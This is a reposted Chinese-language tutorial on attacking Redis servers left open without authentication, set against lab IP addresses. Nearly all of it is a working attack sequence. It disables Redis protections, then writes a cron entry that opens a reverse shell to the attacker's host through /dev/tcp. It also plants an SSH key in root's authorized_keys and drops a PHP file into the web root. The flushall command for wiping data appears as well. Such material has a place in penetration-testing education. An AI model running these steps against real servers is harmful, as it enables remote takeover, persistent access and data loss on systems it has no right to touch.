[Shell]Redis未授權訪問反彈shell


原作者:Cream
文章出處: 貝塔安全實驗室

0x01 Redis未授權訪問反彈shell

Redis是一個開源的使用ANSI C語言編寫、支持網絡、可基於內存亦可持久化的日志型、Key-Value數據庫,並提供多種語言的API。從2010年3月15日起,Redis的開發工作由VMware主持。從2013年5月開始,Redis的開發由Pivotal贊助。

Redis因配置不當可以未授權訪問(竊取數據、反彈shell、數據備份操作主從復制、命令執行)。攻擊者無需認證訪問到內部數據,可導致敏感信息泄露,也可以惡意執行flushall來清空所有數據。攻擊者可通過EVAL執行lua代碼,或通過數據備份功能往磁盤寫入后門文件。

1. 安裝redis

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar -xvzf redis-3.2.0.tar.gz
cd redis-3.2.0
make

1.2 修改配置文件

vim redis.conf
bind 127.0.0.1前面加上#號       # bind 202.139.21.100
protected-mode設為no 
啟動redis-server     ./src/redis-server redis-conf

默認的配置是使用6379端口,沒有密碼。這時候會導致未授權訪問然后使用redis權限寫文件!!

1.3 攻擊利用

1.3.1 redis基本命令
連接redis:
redis-cli -h 192.168.63.130

查看redis版本信息、一些具體信息、服務器版本信息等等:
192.168.63.130:6379>info

將變量x的值設為test:
192.168.63.130:6379>set x "test"

獲取設置的某個變量的值:
192.168.63.130:6379>get x

`flushall`是把整個redis數據庫刪除,一般情況下不要用!!!
192.168.63.130:6379>flushall

查看所有鍵:
192.168.63.130:6379>KEYS *

獲取默認的redis目錄、和rdb文件名:可以在修改前先獲取,然后走的時候再恢復。
192.168.63.130:6379>CONFIG GET dir
192.168.63.130:6379>CONFIG GET dbfilename
1.3.2.利用計划任務執行命令反彈shell

在redis以root權限運行時可以寫crontab來執行命令反彈shell

先在自己的服務器上監聽一個端口
nc -lvnp 7999

然后執行命令:
root@kali:~# redis-cli -h 192.168.63.130

192.168.63.130:6379> set  xx   "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK

192.168.63.130:6379> config set dir /var/spool/cron/
OK

192.168.63.130:6379> config set dbfilename root
OK

192.168.63.130:6379> save
OK

nc監聽端口已經反彈回來shell

1.4 Redis的其他應用

如果Redis以root身份運行,可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器。

1.4.1 寫ssh-keygen公鑰然后使用私鑰登錄

利用條件:
a.Redis服務使用ROOT賬號啟動

b.服務器開放了SSH服務,而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器

操作流程:

Step 1:首先在本地生成一對密鑰:

root@kali:~/.ssh# ssh-keygen -t rsa

查看密鑰:

然后在redis執行命令

192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x " AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx"
OK
192.168.63.130:6379> save
OK

之后直接使用公鑰登錄即可

1.4.2 往web物理路徑(document root)寫webshell

當redis權限不高時,並且服務器開着web服務,在redis有web目錄寫權限時,可以嘗試往web路徑寫webshell。

192.168.63.130:6379> config set dir /var/www/html/
OK
192.168.63.130:6379> config set dbfilename shell.php
OK
192.168.63.130:6379> set x "<?php phpinfo();?>"
OK
192.168.63.130:6379> save
OK

即可將shell寫入web目錄(web目錄根據實際情況)

0x02 參考鏈接

反彈shell的學習總結


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM